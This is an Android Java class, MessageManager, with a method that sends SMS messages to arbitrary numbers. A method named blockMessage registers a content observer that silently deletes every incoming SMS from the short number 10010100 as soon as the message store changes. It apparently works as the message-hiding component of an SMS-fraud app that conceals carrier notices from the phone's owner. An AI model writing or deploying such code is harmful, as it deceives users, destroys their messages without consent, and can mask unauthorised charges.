package com.netstar.message;

import java.util.List;

import com.netstar.util.EvtLog;

import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.telephony.SmsManager;

public class MessageManager {

	private Context mContext;

	public MessageManager(Context context) {
		mContext = context;
	}

	/**
	 * <uses-permission android:name="android.permission.RECEIVE_SMS"/>
	 * <uses-permission android:name="android.permission.SEND_SMS"/>
	 * <uses-permission android:name="android.permission.READ_SMS"/>
	 * <uses-permission android:name="android.permission.WRITE_SMS"/>
	 */
	public void blockMessage() {
		mContext.getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true,
				new SmsContentObserver(new Handler(), this.mContext));
	}

	public static void sendSMS(String message, String destination) {
		if (message == null) {
			return;
		}
		SmsManager manager = SmsManager.getDefault();
		List<String> picesMeg = manager.divideMessage(message);
		for (String meg : picesMeg) {
			manager.sendTextMessage(destination, null, meg, null, null);
		}
	}

	private class SmsContentObserver extends ContentObserver {

		private ContentResolver mResolver;

		public SmsContentObserver(Handler handler, Context context) {
			super(handler);
			this.mResolver = context.getContentResolver();
		}

		@Override
		public void onChange(boolean selfChange) {
			super.onChange(selfChange);
			EvtLog.e("MessageManager", "onChange");
			Cursor cursor = mResolver.query(Uri.parse("content://sms"), new String[] { "_id" }, "address = ?",
					new String[] { "10010100" }, null);
			if (cursor != null) {
				while (cursor.moveToNext()) {
					int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
					this.mResolver.delete(Uri.parse("content://sms"), " _id=" + id, null);
				}
			}
		}

	}

}
